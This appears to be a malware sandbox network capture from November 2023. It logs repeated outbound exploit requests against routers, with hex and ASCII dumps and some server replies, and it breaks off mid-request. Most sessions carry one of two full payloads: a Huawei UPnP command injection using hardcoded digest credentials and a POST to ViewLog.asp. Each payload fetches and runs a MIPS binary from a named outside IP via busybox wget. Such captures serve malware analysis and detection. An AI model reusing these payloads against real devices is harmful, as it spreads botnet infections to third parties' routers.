                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:15.639657974 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                985192.168.2.155563894.71.231.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:12.501107931 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.623752117 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.842864037 CET1340INHTTP/1.0 404 Not Found
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:23:09 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:23:09 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-bottom:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                986192.168.2.154805494.122.79.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:12.986630917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                987192.168.2.154836231.44.140.2208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:12.995805979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                988192.168.2.1550528156.241.112.3837215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.016077995 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                989192.168.2.1536062156.241.95.11237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.659961939 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                990192.168.2.155954862.74.141.1908080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.759164095 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.974769115 CET556INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:23:17 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                991192.168.2.1555450156.254.87.14337215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.905508041 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                992192.168.2.155927231.136.118.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:13.931935072 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.519748926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
